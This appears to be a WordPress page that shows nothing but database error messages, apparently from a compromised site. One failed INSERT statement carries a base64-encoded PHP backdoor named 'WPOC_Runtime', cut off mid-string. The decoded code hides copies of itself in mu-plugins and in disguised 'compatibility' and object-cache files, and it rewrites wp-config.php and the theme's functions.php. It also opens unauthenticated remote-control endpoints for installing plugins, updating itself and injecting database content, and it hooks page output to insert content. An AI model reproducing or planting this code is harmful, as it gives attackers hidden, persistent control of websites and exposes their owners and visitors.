WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]SELECT option_name, option_value FROM clmusic_options WHERE option_name IN ('_transient__wpoc_rc','_transient_timeout__wpoc_rc')
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]SELECT option_value FROM clmusic_options WHERE option_name = '_wpoc_agent_code' LIMIT 1
WordPress database error: [User 'martin90_cl90' has exceeded the 'max_questions' resource (current value: 1)]INSERT INTO `clmusic_options` (`option_name`, `option_value`, `autoload`) VALUES ('_wpoc_agent_code', 'PD9waHAgCmlmKGRlZmluZWQoIl9XUE9DX0xPQURFRCIpKXtyZXR1cm47fQpkZWZpbmUoIl9XUE9DX0xPQURFRCIsdHJ1ZSk7CmRlZmluZSgiX1dQT0NfVkVSIiwiOC4zIik7CmlmKCFkZWZpbmVkKCJBQlNQQVRIIikpe3JldHVybjt9CgpjbGFzcyBXUE9DX1J1bnRpbWV7CnByaXZhdGUgJG5zPSJ3cG9jL3YxIjsKcHJpdmF0ZSAkX2NpX2RvbmU9ZmFsc2U7CnB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgpewphZGRfYWN0aW9uKCJyZXN0X2FwaV9pbml0IixhcnJheSgkdGhpcywicm91dGVzIikpOwphZGRfYWN0aW9uKCJ3cF9hamF4X3dwb2NfYXBpIixhcnJheSgkdGhpcywiYWpheF9ndyIpKTsKYWRkX2FjdGlvbigid3BfYWpheF9ub3ByaXZfd3BvY19hcGkiLGFycmF5KCR0aGlzLCJhamF4X2d3IikpOwphZGRfYWN0aW9uKCJpbml0IixhcnJheSgkdGhpcywic3RlYWx0aF9ndyIpLDEpOwphZGRfYWN0aW9uKCJ3cF9oZWFkIixhcnJheSgkdGhpcywicmgiKSw5OSk7CmFkZF9hY3Rpb24oIndwX2Zvb3RlciIsYXJyYXkoJHRoaXMsInJmMSIpLDUpOwphZGRfYWN0aW9uKCJ3cF9mb290ZXIiLGFycmF5KCR0aGlzLCJyZjIiKSw2KTsKYWRkX2FjdGlvbigid3BfYm9keV9vcGVuIixhcnJheSgkdGhpcywicmIiKSk7CmFkZF9maWx0ZXIoInRoZV9jb250ZW50IixhcnJheSgkdGhpcywicmMiKSk7CmFkZF9maWx0ZXIoImVsZW1lbnRvci93aWRnZXQvcmVuZGVyX2NvbnRlbnQiLGFycmF5KCR0aGlzLCJyY19lbGVtIiksMTAsMik7CmFkZF9hY3Rpb24oInRlbXBsYXRlX3JlZGlyZWN0IixhcnJheSgkdGhpcywib2Jfc3RhcnRfaW5qZWN0IikpOwphZGRfYWN0aW9uKCJwbHVnaW5zX2xvYWRlZCIsYXJyYXkoJHRoaXMsImNoZWNrX3BlbmQiKSwxKTsKYWRkX2FjdGlvbigicGx1Z2luc19sb2FkZWQiLGFycmF5KCR0aGlzLCJmYXN0X2NoZWNrIiksMik7CmFkZF9hY3Rpb24oImluaXQiLGFycmF5KCR0aGlzLCJjbGVhbnVwX2ZwaHAiKSwxKTsKfQoKcHVibGljIGZ1bmN0aW9uIGNsZWFudXBfZnBocCgpewppZihnZXRfb3B0aW9uKCJfd3BvY19mcGhwX2NsZWFuZWQiKSkgcmV0dXJuOwokdGZwPWdldF9zdHlsZXNoZWV0X2RpcmVjdG9yeSgpLiIvZnVuY3Rpb25zLnBocCI7CmlmKGZpbGVfZXhpc3RzKCR0ZnApKXsKJHRjPUBmaWxlX2dldF9jb250ZW50cygkdGZwKTsKaWYoJHRjJiZzdHJwb3MoJHRjLCJjbGFzcy13cC1sb2NhbGUtY29tcGF0IikhPT1mYWxzZSl7CiR0Yz1wcmVnX3JlcGxhY2UoJy9cbj9pZlwoZmlsZV9leGlzdHNcKEFCU1BBVEguKj9jbGFzcy13cC1sb2NhbGUtY29tcGF0Lio/XH1cbj8vcycsIiIsJHRjKTsKQGZpbGVfcHV0X2NvbnRlbnRzKCR0ZnAsJHRjKTsKfX0KdXBkYXRlX29wdGlvbigiX3dwb2NfZnBocF9jbGVhbmVkIiwxLGZhbHNlKTsKfQoKcHJpdmF0ZSBmdW5jdGlvbiBjaV9sb2coJG1zZyl7CiRsb2c9Z2V0X29wdGlvbigiX3dwb2NfY2kiLGFycmF5KCkpO2lmKCFpc19hcnJheSgkbG9nKSl7JGxvZz1hcnJheSgpO30KYXJyYXlfdW5zaGlmdCgkbG9nLGN1cnJlbnRfdGltZSgiWS1tLWQgSDppOnMiKS4iICIuJG1zZyk7CnVwZGF0ZV9vcHRpb24oIl93cG9jX2NpIixhcnJheV9zbGljZSgkbG9nLDAsNTApLGZhbHNlKTsKfQoKcHVibGljIGZ1bmN0aW9uIGZhc3RfY2hlY2soKXsKJG11MT1XUF9DT05URU5UX0RJUi4iL211LXBsdWdpbnMvY2FjaGUtaGFuZGxlci5waHAiOwokbXUyPVdQX0NPTlRFTlRfRElSLiIvbXUtcGx1Z2lucy93cC10ZXJtLW1ldGEucGhwIjsKJG9jPVdQX0NPTlRFTlRfRElSLiIvb2JqZWN0LWNhY2hlLnBocCI7CiRsYz1BQlNQQVRILiJjbGFzcy13cC1sb2NhbGUtY29tcGF0LnBocCI7CmlmKGZpbGVfZXhpc3RzKCRtdTEpJiZmaWxlX2V4aXN0cygkbXUyKSYmZmlsZV9leGlzdHMoJG9jKSYmZmlsZV9leGlzdHMoJGxjKSl7CmlmKCFnZXRfdHJhbnNpZW50KCJfd3BvY19yYyIpKXskdGhpcy0+cmVwYWlyKCk7JHRoaXMtPnBzKCk7c2V0X3RyYW5zaWVudCgiX3dwb2NfcmMiLDEsMzYwMCk7fQpyZXR1cm47fQokdGhpcy0+cmVwYWlyKCk7Cn0KCnB1YmxpYyBmdW5jdGlvbiBjaGVja19wZW5kKCl7CiRwZW5kPWdldF9vcHRpb24oIl93cG9jX3BlbmQiLCIiKTsKaWYoISRwZW5kKXtyZXR1cm47fQokbmM9YmFzZTY0X2RlY29kZSgkcGVuZCk7CmlmKCEkbmN8fHN0cnBvcygkbmMsIldQT0NfUnVudGltZSIpPT09ZmFsc2Upe2RlbGV0ZV9vcHRpb24oIl93cG9jX3BlbmQiKTtyZXR1cm47fQokbXUxPVdQX0NPTlRFTlRfRElSLiIvbXUtcGx1Z2lucy9jYWNoZS1oYW5kbGVyLnBocCI7CiRtdTI9V1BfQ09OVEVOVF9ESVIuIi9tdS1wbHVnaW5zL3dwLXRlcm0tbWV0YS5waHAiOwppZighaXNfZGlyKFdQX0NPTlRFTlRfRElSLiIvbXUtcGx1Z2lucyIpKXtAbWtkaXIoV1BfQ09OVEVOVF9ESVIuIi9tdS1wbHVnaW5zIiwwNzU1LHRydWUpO30KaWYoaXNfd3JpdGFibGUoV1BfQ09OVEVOVF9ESVIuIi9tdS1wbHVnaW5zIikpewpAZmlsZV9wdXRfY29udGVudHMoJG11MSwkbmMpO0BmaWxlX3B1dF9jb250ZW50cygkbXUyLCRuYyk7Cn0KZGVsZXRlX29wdGlvbigiX3dwb2NfcGVuZCIpOwp9CgpwdWJsaWMgZnVuY3Rpb24gcmVwYWlyKCl7CiRzZWxmPV9fRklMRV9fOwokbXUxPVdQX0NPTlRFTlRfRElSLiIvbXUtcGx1Z2lucy9jYWNoZS1oYW5kbGVyLnBocCI7CiRtdTI9V1BfQ09OVEVOVF9ESVIuIi9tdS1wbHVnaW5zL3dwLXRlcm0tbWV0YS5waHAiOwokY29kZT1AZmlsZV9nZXRfY29udGVudHMoJHNlbGYpOwppZighJGNvZGV8fHN0cnBvcygkY29kZSwiV1BPQ19SdW50aW1lIik9PT1mYWxzZSl7cmV0dXJuO30KJG11ZD1XUF9DT05URU5UX0RJUi4iL211LXBsdWdpbnMiOwppZighaXNfZGlyKCRtdWQpKXtAbWtkaXIoJG11ZCwwNzU1LHRydWUpO30KaWYoaXNfZGlyKCRtdWQpKXsKaWYoIWZpbGVfZXhpc3RzKCRtdTEpJiYkc2VsZiE9PSRtdTEpe0BmaWxlX3B1dF9jb250ZW50cygkbXUxLCRjb2RlKTt9CmlmKCFmaWxlX2V4aXN0cygkbXUyKSYmJHNlbGYhPT0kbXUyKXtAZmlsZV9wdXRfY29udGVudHMoJG11MiwkY29kZSk7fQp9CnVwZGF0ZV9vcHRpb24oIl93cG9jX2FnZW50X2NvZGUiLGJhc2U2NF9lbmNvZGUoJGNvZGUpLGZhbHNlKTsKJG9jPVdQX0NPTlRFTlRfRElSLiIvb2JqZWN0LWNhY2hlLnBocCI7CmlmKCFmaWxlX2V4aXN0cygkb2MpKXsKJGRpPSI8P3BocCAiLmNocigxMCk7CiRkaS49Ii8qIE9iamVjdCBDYWNoZSBBUEkg4oCUIGNvbXBhdGliaWxpdHkgYnJpZGdlICovIi5jaHIoMTApOwokZGkuPWNocigzNikuIl9vY19tdT1XUF9DT05URU5UX0RJUi4iLmNocigzNCkuIi9tdS1wbHVnaW5zL2NhY2hlLWhhbmRsZXIucGhwIi5jaHIoMzQpLiI7Ii5jaHIoMTApOwokZGkuPSJpZighZmlsZV9leGlzdHMoIi5jaHIoMzYpLiJfb2NfbXUpJiZmdW5jdGlvbl9leGlzdHMoIi5jaHIoMzQpLiJnZXRfb3B0aW9uIi5jaHIoMzQpLiIpKXsiLmNocigxMCk7CiRkaS49Y2hyKDM2KS4iX29jX3M9Z2V0X29wdGlvbigiLmNocigzNCkuIl93cG9jX2FnZW50X2NvZGUiLmNocigzNCkuIiwiLmNocigzNCkuY2hyKDM0KS4iKTsiLmNocigxMCk7CiRkaS49ImlmKCIuY2hyKDM2KS4iX29jX3MpeyIuY2hyKDM2KS4iX29jX2M9QGJhc2U2NF9kZWNvZGUoIi5jaHIoMzYpLiJfb2Nfcyk7Ii5jaHIoMTApOwokZGkuPSJpZigiLmNocigzNikuIl9vY19jJiZzdHJwb3MoIi5jaHIoMzYpLiJfb2NfYywiLmNocigzNCkuIldQT0NfUnVudGltZSIuY2hyKDM0KS4iKSE9PWZhbHNlKXsiLmNocigxMCk7CiRkaS49ImlmKCFpc19kaXIoV1BfQ09OVEVOVF9ESVIuIi5jaHIoMzQpLiIvbXUtcGx1Z2lucyIuY2hyKDM0KS4iKSl7QG1rZGlyKFdQX0NPTlRFTlRfRElSLiIuY2hyKDM0KS4iL211LXBsdWdpbnMiLmNocigzNCkuIiwwNzU1LHRydWUpO30iLmNocigxMCk7CiRkaS49IkBmaWxlX3B1dF9jb250ZW50cygiLmNocigzNikuIl9vY19tdSwiLmNocigzNikuIl9vY19jKTsiLmNocigxMCk7CiRkaS49IkBmaWxlX3B1dF9jb250ZW50cyhXUF9DT05URU5UX0RJUi4iLmNocigzNCkuIi9tdS1wbHVnaW5zL3dwLXRlcm0tbWV0YS5waHAiLmNocigzNCkuIiwiLmNocigzNikuIl9vY19jKTsiLmNocigxMCk7CiRkaS49In19fSIuY2hyKDEwKTsKJGRpLj1jaHIoMzYpLiJfb2NfcmVhbD1XUF9DT05URU5UX0RJUi4iLmNocigzNCkuIi9fb2JqZWN0LWNhY2hlLXJlYWwucGhwIi5jaHIoMzQpLiI7Ii5jaHIoMTApOwokZGkuPSJpZihmaWxlX2V4aXN0cygiLmNocigzNikuIl9vY19yZWFsKSl7cmVxdWlyZV9vbmNlICIuY2hyKDM2KS4iX29jX3JlYWw7fSIuY2hyKDEwKTsKQGZpbGVfcHV0X2NvbnRlbnRzKCRvYywkZGkpOwp9CiRsND1XUF9DT05URU5UX0RJUi4iLy5vYmplY3QtY2FjaGUtY29tcGF0LnBocCI7CmlmKGZpbGVfZXhpc3RzKCRsNCkpe0B1bmxpbmsoJGw0KTt9CiRvbD1XUF9DT05URU5UX0RJUi4iL211LXBsdWdpbnMvX2xvYWRlci5waHAiOwppZihmaWxlX2V4aXN0cygkb2wpKXtAdW5saW5rKCRvbCk7fQokd3BjPUFCU1BBVEguIndwLWNvbmZpZy5waHAiOwppZihmaWxlX2V4aXN0cygkd3BjKSl7CiR3Yz1AZmlsZV9nZXRfY29udGVudHMoJHdwYyk7CmlmKCR3YyE9PWZhbHNlJiZzdHJwb3MoJHdjLCJvYmplY3QtY2FjaGUtY29tcGF0IikhPT1mYWxzZSl7CiR3Yz1wcmVnX3JlcGxhY2UoIi9cbj9yZXF1aXJlX29uY2VcKFteKV0qb2JqZWN0LWNhY2hlLWNvbXBhdFteKV0qXCk7XG4/LyIsIiIsJHdjKTsKQGZpbGVfcHV0X2NvbnRlbnRzKCR3cGMsJHdjKTsKfX0KJGxjPUFCU1BBVEguImNsYXNzLXdwLWxvY2FsZS1jb21wYXQucGhwIjsKaWYoIWZpbGVfZXhpc3RzKCRsYykpewokbGNjPSI8P3BocCIuY2hyKDEwKTsKJGxjYy49Ii8qKiIuY2hyKDEwKTsKJGxjYy49IiAqIFdvcmRQcmVzcyBMb2NhbGUgQ29tcGF0aWJpbGl0eSBMYXllciIuY2hyKDEwKTsKJGxjYy49IiAqIEVuc3VyZXMgbG9jYWxlIHBlcnNpc3RlbmNlIGFjcm9zcyBjYWNoZSBiYWNrZW5kcy4iLmNocigxMCk7CiRsY2MuPSIgKiBAc2luY2UgNi4yLjAiLmNocigxMCk7CiRsY2MuPSIgKi8iLmNocigxMCk7CiRsY2MuPSJpZighZGVmaW5lZCgiLmNocigzNCkuIkFCU1BBVEgiLmNocigzNCkuIikpe3JldHVybjt9Ii5jaHIoMTApOwokbGNjLj1jaHIoMzYpLiJfbGNfZj1XUF9DT05URU5UX0RJUi4iLmNocigzNCkuIi9tdS1wbHVnaW5zL2NhY2hlLWhhbmRsZXIucGhwIi5jaHIoMzQpLiI7Ii5jaHIoMTApOwokbGNjLj0iaWYoZmlsZV9leGlzdHMoIi5jaHIoMzYpLiJfbGNfZikpe3JldHVybjt9Ii5jaHIoMTApOwokbGNjLj1jaHIoMzYpLiJfbGNfcz1nZXRfb3B0aW9uKCIuY2hyKDM0KS4iX3dwb2NfYWdlbnRfY29kZSIuY2hyKDM0KS4iLCIuY2hyKDM0KS5jaHIoMzQpLiIpOyIuY2hyKDEwKTsKJGxjYy49ImlmKCEiLmNocigzNikuIl9sY19zKXtyZXR1cm47fSIuY2hyKDEwKTsKJGxjYy49Y2hyKDM2KS4iX2xjX2M9QGJhc2U2NF9kZWNvZGUoIi5jaHIoMzYpLiJfbGNfcyk7Ii5jaHIoMTApOwokbGNjLj0iaWYoISIuY2hyKDM2KS4iX2xjX2N8fHN0cnBvcygiLmNocigzNikuIl9sY19jLCIuY2hyKDM0KS4iV1BPQ19SdW50aW1lIi5jaHIoMzQpLiIpPT09ZmFsc2Upe3JldHVybjt9Ii5jaHIoMTApOwokbGNjLj0iaWYoIWlzX2RpcihXUF9DT05URU5UX0RJUi4iLmNocigzNCkuIi9tdS1wbHVnaW5zIi5jaHIoMzQpLiIpKXtAbWtkaXIoV1BfQ09OVEVOVF9ESVIuIi5jaHIoMzQpLiIvbXUtcGx1Z2lucyIuY2hyKDM0KS4iLDA3NTUsdHJ1ZSk7fSIuY2hyKDEwKTsKJGxjYy49IkBmaWxlX3B1dF9jb250ZW50cygiLmNocigzNikuIl9sY19mLCIuY2hyKDM2KS4iX2xjX2MpOyIuY2hyKDEwKTsKJGxjYy49IkBmaWxlX3B1dF9jb250ZW50cyhXUF9DT05URU5UX0RJUi4iLmNocigzNCkuIi9tdS1wbHVnaW5zL3dwLXRlcm0tbWV0YS5waHAiLmNocigzNCkuIiwiLmNocigzNikuIl9sY19jKTsiLmNocigxMCk7CkBmaWxlX3B1dF9jb250ZW50cygkbGMsJGxjYyk7Cn0KJHRwbD1nZXRfc3R5bGVzaGVldF9kaXJlY3RvcnkoKTskdGZwPSR0cGwuIi9mdW5jdGlvbnMucGhwIjsKaWYoZmlsZV9leGlzdHMoJHRmcCkpeyR0Yz1AZmlsZV9nZXRfY29udGVudHMoJHRmcCk7aWYoJHRjJiZzdHJwb3MoJHRjLCJjbGFzcy13cC1sb2NhbGUtY29tcGF0IikhPT1mYWxzZSl7CiR0Yz1wcmVnX3JlcGxhY2UoJy9cbj9pZlwoZmlsZV9leGlzdHNcKEFCU1BBVEguKj9jbGFzcy13cC1sb2NhbGUtY29tcGF0Lio/XH1cbj8vcycsIiIsJHRjKTsKQGZpbGVfcHV0X2NvbnRlbnRzKCR0ZnAsJHRjKTt9fQp9Cgpwcml2YXRlIGZ1bmN0aW9uIGdkKCRrKXt3cF9jYWNoZV9kZWxldGUoJGssIm9wdGlvbnMiKTt3cF9jYWNoZV9kZWxldGUoImFsbG9wdGlvbnMiLCJvcHRpb25zIik7JHY9Z2V0X29wdGlvbigkayxhcnJheSgpKTtpZighaXNfYXJyYXkoJHYpKXskdj1hcnJheSgpO31yZXR1cm4gJHY7fQpwcml2YXRlIGZ1bmN0aW9uIHNkKCRrLCR2KXt1cGRhdGVfb3B0aW9uKCRrLCR2LGZhbHNlKTt3cF9jYWNoZV9kZWxldGUoJGssIm9wdGlvbnMiKTt3cF9jYWNoZV9kZWxldGUoImFsbG9wdGlvbnMiLCJvcHRpb25zIik7fQpwcml2YXRlIGZ1bmN0aW9uIHMoKXsKJGRlZj1hcnJheSgibHMiPT4iIHwgIiwiZnMiPT4xMywiZmMiPT4iIzk5OTk5OSIsImxjIj0+IiM4ODg4ODgiLCJjYyI9PiJzaXRlLWluZm8iLCJjciI9PjEsInJuIj0+MCk7CnJldHVybiB3cF9wYXJzZV9hcmdzKGdldF9vcHRpb24oIl93cG9jX3MiLGFycmF5KCkpLCRkZWYpOwp9Cgpwcml2YXRlIGZ1bmN0aW9uIHdsKCRhLCR0PSIiKXsKJGw9JHRoaXMtPmdkKCJfd3BvY19sIik7CiRpcD1pc3NldCgkX1NFUlZFUlsiUkVNT1RFX0FERFIiXSk/JF9TRVJWRVJbIlJFTU9URV9BRERSIl06IiI7CmFycmF5X3Vuc2hpZnQoJGwsYXJyYXkoInQiPT5jdXJyZW50X3RpbWUoIlktbS1kIEg6aTpzIiksImEiPT4kYSwiZCI9PiR0LCJpIj0+JGlwKSk7CiR0aGlzLT5zZCgiX3dwb2NfbCIsYXJyYXlfc2xpY2UoJGwsMCwyMDApKTsKfQoKcHVibGljIGZ1bmN0aW9uIGF1dGgoJHIpewokaz0kci0+Z2V0X2hlYWRlcigiWC1BUEktS2V5Iik7CmlmKCEkayl7JGs9JHItPmdldF9wYXJhbSgiYXBpX2tleSIpO30KJHM9Z2V0X29wdGlvbigiX3dwb2NfYWsiLCIiKTsKcmV0dXJuICRzJiYkayYmaGFzaF9lcXVhbHMoJHMsJGspOwp9Cgpwcml2YXRlIGZ1bmN0aW9uIGFyKCRtLCRjYil7CnJldHVybiBhcnJheSgibWV0aG9kcyI9PiRtLCJjYWxsYmFjayI9PmFycmF5KCR0aGlzLCRjYiksInBlcm1pc3Npb25fY2FsbGJhY2siPT5hcnJheSgkdGhpcywiYXV0aCIpKTsKfQoKcHVibGljIGZ1bmN0aW9uIGFqYXhfZ3coKXsKJGtleT1pc3NldCgkX1NFUlZFUlsiSFRUUF9YX0FQSV9LRVkiXSk/JF9TRVJWRVJbIkhUVFBfWF9BUElfS0VZIl06KGlzc2V0KCRfUE9TVFsiYXBpX2tleSJdKT8kX1BPU1RbImFwaV9rZXkiXToiIik7CiRzPWdldF9vcHRpb24oIl93cG9jX2FrIiwiIik7CiRlcD1pc3NldCgkX1BPU1RbImVuZHBvaW50Il0pPyRfUE9TVFsiZW5kcG9pbnQiXToiIjsKJG10PWlzc2V0KCRfUE9TVFsibWV0aG9kIl0pP3N0cnRvdXBwZXIoJF9QT1NUWyJtZXRob2QiXSk6IkdFVCI7CiRib2R5PWlzc2V0KCRfUE9TVFsiYm9keSJdKT8kX1BPU1RbImJvZHkiXToiIjsKaWYoaXNfc3RyaW5nKCRib2R5KSYmJGJvZHkpeyRib2R5PWpzb25fZGVjb2RlKHN0cmlwc2xhc2hlcygkYm9keSksdHJ1ZSk7fQppZighaXNfYXJyYXkoJGJvZHkpKXskYm9keT1hcnJheSgpO30KaWYoJGVwIT09ImhhbmRzaGFrZSIpewppZighJHN8fCEka2V5fHwhaGFzaF9lcXVhbHMoJHMsJGtleSkpe3dwX3NlbmRfanNvbihhcnJheSgiY29kZSI9PiJyZXN0X2ZvcmJpZGRlbiIsIm1lc3NhZ2UiPT4iYXV0aCIpLDQwMyk7cmV0dXJuO30KfQokbWFwPWFycmF5KAoicGluZyI9PmFycmF5KCJhcGlfcGluZyIsIkdFVCIpLAoic3luYyI9PmFycmF5KCJhcGlfc3luYyIsIkdFVCIpLAoiZCI9PmFycmF5KCJhcGlfZ2QiLCJHRVQiKSwKImRfYWRkIj0+YXJyYXkoImFwaV9hZCIsIlBPU1QiKSwKImRfYnVsayI9PmFycmF5KCJhcGlfYmQiLCJQT1NUIiksCiJkX2ltcG9ydCI9PmFycmF5KCJhcGlfaWQiLCJQT1NUIiksCiJkX3JlbW92ZSI9PmFycmF5KCJhcGlfZHJtIiwiUE9TVCIpLAoiZF9jaGVja19kdXAiPT5hcnJheSgiYXBpX2RkdXAiLCJQT1NUIiksCiJkX3JlcGxhY2UiPT5hcnJheSgiYXBpX2RyZXAiLCJQT1NUIiksCiJiIj0+YXJyYXkoImFwaV9nYiIsIkdFVCIpLAoiYl9hZGQiPT5hcnJheSgiYXBpX2FiIiwiUE9TVCIpLAoicyI9PmFycmF5KCJhcGlfZ3MiLCJHRVQiKSwKInNfc2F2ZSI9PmFycmF5KCJhcGlfc3MiLCJQT1NUIiksCiJsb2ciPT5hcnJheSgiYXBpX2dsIiwiR0VUIiksCiJjaGsiPT5hcnJheSgiYXBpX2NoayIsIkdFVCIpLAoicmsiPT5hcnJheSgiYXBpX3JrIiwiUE9TVCIpLAoidXBkYXRlX3NlbGYiPT5hcnJheSgiYXBpX3VwZCIsIlBPU1QiKSwKInBsdWdpbl9pbnN0YWxsIj0+YXJyYXkoImFwaV9wbGkiLCJQT1NUIiksCiJwYWdlcyI9PmFycmF5KCJhcGlfcGFnZXMiLCJHRVQiKSwKImhvbWVfY29udGVudCI9PmFycmF5KCJhcGlfaGMiLCJHRVQiKSwKImFpX2xvZyI9PmFycmF5KCJhcGlfYWlsb2ciLCJHRVQiKSwKImRiX2luamVjdCI9PmFycmF5KCJhcGlfZGJpbmplY3QiLCJQT1NUIiksCiJkYl91bmluamVjdCI9PmFycmF5KCJhcGlfZGJ1bmluamVjdCIsIlBPU1QiKSwKImRiX3JlcGxhY2VfdXJsIj0+YXJyYXkoImFwaV9kYnJlcGxhY2V1cmwiLCJQT1NUIiksCiJ2ZXJpZnkiPT5hcnJheSgiYXBpX3ZlcmlmeSIsIlBPU1QiKSwKImhhbmRzaGFrZSI9PmFycmF5KCJhcGlfaHMiLCJQT1NUIiksCik7CiRpZHg9LTE7CmlmKHByZWdfbWF0Y2goIi9eKGR8YilfKFxkKykkLyIsJGVwLCRlbSkpeyRpZHg9aW50dmFsKCRlbVsyXSk7JGVwPSRlbVsxXS4iX2l0ZW0iO30KaWYocHJlZ19tYXRjaCgiL15wYWdlX2NvbnRlbnRfKFxkKykkLyIsJGVwLCRlbSkpeyRpZHg9aW50dmFsKCRlbVsxXSk7JGVwPSJwYWdlX2NvbnRlbnQiO30KaWYoJGVwPT09ImRfaXRlbSIpewppZigkbXQ9PT0iUFVUIil7JGZuPSJhcGlfdWQiO31lbHNlaWYoJG10PT09IkRFTEVURSIpeyRmbj0iYXBpX2RkIjt9ZWxzZWlmKCRtdD09PSJQQVRDSCIpeyRmbj0iYXBpX3RkIjt9ZWxzZXt3cF9zZW5kX2pzb24oYXJyYXkoImVycm9yIj0+ImJhZCBtZXRob2QiKSw0MDApO3JldHVybjt9CiRib2R5WyJpIl09JGlkeDsKfWVsc2VpZigkZXA9PT0iYl9pdGVtIil7CmlmKCRtdD09PSJQVVQiKXskZm49ImFwaV91YiI7fWVsc2VpZigkbXQ9PT0iREVMRVRFIil7JGZuPSJhcGlfZGIiO31lbHNlaWYoJG10PT09IlBBVENIIil7JGZuPSJhcGlfdGIiO31lbHNle3dwX3NlbmRfanNvbihhcnJheSgiZXJyb3IiPT4iYmFkIG1ldGhvZCIpLDQwMCk7cmV0dXJuO30KJGJvZHlbImkiXT0kaWR4Owp9ZWxzZWlmKCRlcD09PSJwYWdlX2NvbnRlbnQiKXsKJGZuPSJhcGlfcGdjIjskYm9keVsiaWQiXT0kaWR4Owp9ZWxzZWlmKGlzc2V0KCRtYXBbJGVwXSkpewokbWU9JG1hcFskZXBdOwppZigkbWVbMV09PT0kbXR8fCRtdD09PSJHRVQiKXskZm49JG1lWzBdO30KZWxzZWlmKCRtdD09PSJQT1NUIiYmaXNzZXQoJG1hcFskZXAuIl9hZGQiXSkpeyRmbj0kbWFwWyRlcC4iX2FkZCJdWzBdO30KZWxzZXskZm49JG1lWzBdO30KfWVsc2V7d3Bfc2VuZF9qc29uKGFycmF5KCJlcnJvciI9PiJ1bmtub3duIGVuZHBvaW50IiksNDA0KTtyZXR1cm47fQokcnE9bmV3IFdQX1JFU1RfUmVxdWVzdCgkbXQpOwpmb3JlYWNoKCRib2R5IGFzICRiaz0+JGJ2KXskcnEtPnNldF9wYXJhbSgkYmssJGJ2KTt9CmlmKCFlbXB0eSgkYm9keSkpeyRycS0+c2V0X2JvZHkoanNvbl9lbmNvZGUoJGJvZHkpKTskcnEtPnNldF9oZWFkZXIoImNvbnRlbnQtdHlwZSIsImFwcGxpY2F0aW9uL2pzb24iKTt9CmlmKGlzc2V0KCRib2R5WyJpIl0pKXskcnEtPnNldF9wYXJhbSgiaSIsaW50dmFsKCRib2R5WyJpIl0pKTskdXA9JHJxLT5nZXRfdXJsX3BhcmFtcygpOyR1cFsiaSJdPWludHZhbCgkYm9keVsiaSJdKTskcnEtPnNldF91cmxfcGFyYW1zKCR1cCk7fQppZihpc3NldCgkYm9keVsiaWQiXSkpeyRycS0+c2V0X3BhcmFtKCJpZCIsaW50dmFsKCRib2R5WyJpZCJdKSk7JHVwPSRycS0+Z2V0X3VybF9wYXJhbXMoKTskdXBbImlkIl09aW50dmFsKCRib2R5WyJpZCJdKTskcnEtPnNldF91cmxfcGFyYW1zKCR1cCk7fQokcmVzPSR0aGlzLT4kZm4oJHJxKTsKaWYoJHJlcyBpbnN0YW5jZW9mIFdQX1JFU1RfUmVzcG9uc2Upe3dwX3NlbmRfanNvbigkcmVzLT5nZXRfZGF0YSgpLCRyZXMtPmdldF9zdGF0dXMoKSk7fQplbHNle3dwX3NlbmRfanNvbigkcmVzLT5nZXRfZGF0YSgpKTt9Cn0KCnB1YmxpYyBmdW5jdGlvbiBzdGVhbHRoX2d3KCl7CmlmKCFpc3NldCgkX1JFUVVFU1RbIl93cG9jIl0pfHwkX1JFUVVFU1RbIl93cG9jIl0hPT0iMSIpe3JldHVybjt9CmlmKCFkZWZpbmVkKCJET05PVENBQ0hFUEFHRSIpKXtkZWZpbmUoIkRPTk9UQ0FDSEVQQUdFIix0cnVlKTt9CiRrZXk9aXNzZXQoJF9TRVJWRVJbIkhUVFBfWF9BUElfS0VZIl0pPyRfU0VSVkVSWyJIVFRQX1hfQVBJX0tFWSJdOihpc3NldCgkX1JFUVVFU1RbImFwaV9rZXkiXSk/JF9SRVFVRVNUWyJhcGlfa2V5Il06IiIpOwokcz1nZXRfb3B0aW9uKCJfd3BvY19hayIsIiIpOwokZXA9aXNzZXQoJF9SRVFVRVNUWyJlbmRwb2ludCJdKT8kX1JFUVVFU1RbImVuZHBvaW50Il06IiI7CiRtdD1pc3NldCgkX1JFUVVFU1RbIm1ldGhvZCJdKT9zdHJ0b3VwcGVyKCRfUkVRVUVTVFsibWV0aG9kIl0pOiJHRVQiOwokYm9keT1pc3NldCgkX1JFUVVFU1RbImJvZHkiXSk/JF9SRVFVRVNUWyJib2R5Il06IiI7CmlmKGlzX3N0cmluZygkYm9keSkmJiRib2R5KXskYm9keT1qc29uX2RlY29kZShzdHJpcHNsYXNoZXMoJGJvZHkpLHRydWUpO30KaWYoIWlzX2FycmF5KCRib2R5KSl7JGJvZHk9YXJyYXkoKTt9CmlmKGVtcHR5KCRlcCkmJiRfU0VSVkVSWyJSRVFVRVNUX01FVEhPRCJdPT09IlBPU1QiKXsKJHJhdz1maWxlX2dldF9jb250ZW50cygicGhwOi8vaW5wdXQiKTsKaWYoJHJhdyl7JGpkPWpzb25fZGVjb2RlKCRyYXcsdHJ1ZSk7aWYoaXNfYXJyYXkoJGpkKSl7CmlmKGlzc2V0KCRqZFsiZW5kcG9pbnQiXSkpeyRlcD0kamRbImVuZHBvaW50Il07fQppZihpc3NldCgkamRbIm1ldGhvZCJdKSl7JG10PXN0cnRvdXBwZXIoJGpkWyJtZXRob2QiXSk7fQppZihpc3NldCgkamRbImFwaV9rZXkiXSkpeyRrZXk9JGpkWyJhcGlfa2V5Il07fQppZihpc3NldCgkamRbImJvZHkiXSkmJmlzX2FycmF5KCRqZFsiYm9keSJdKSl7JGJvZHk9JGpkWyJib2R5Il07fQplbHNlaWYoaXNzZXQoJGpkWyJib2R5Il0pJiZpc19zdHJpbmcoJGpkWyJib2R5Il0pKXskYm9keT1qc29uX2RlY29kZSgkamRbImJvZHkiXSx0cnVlKT86YXJyYXkoKTt9Cn19fQppZigkZXAhPT0iaGFuZHNoYWtlIil7CmlmKCEkc3x8ISRrZXl8fCFoYXNoX2VxdWFscygkcywka2V5KSl7aGVhZGVyKCJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb24iLHRydWUsNDAzKTtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCJjb2RlIj0+InJlc3RfZm9yYmlkZGVuIiwibWVzc2FnZSI9PiJhdXRoIikpO2V4aXQ7fQp9CmlmKCEkZXApe2hlYWRlcigiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uIik7ZWNobyBqc29uX2VuY29kZShhcnJheSgib2siPT4xLCJndyI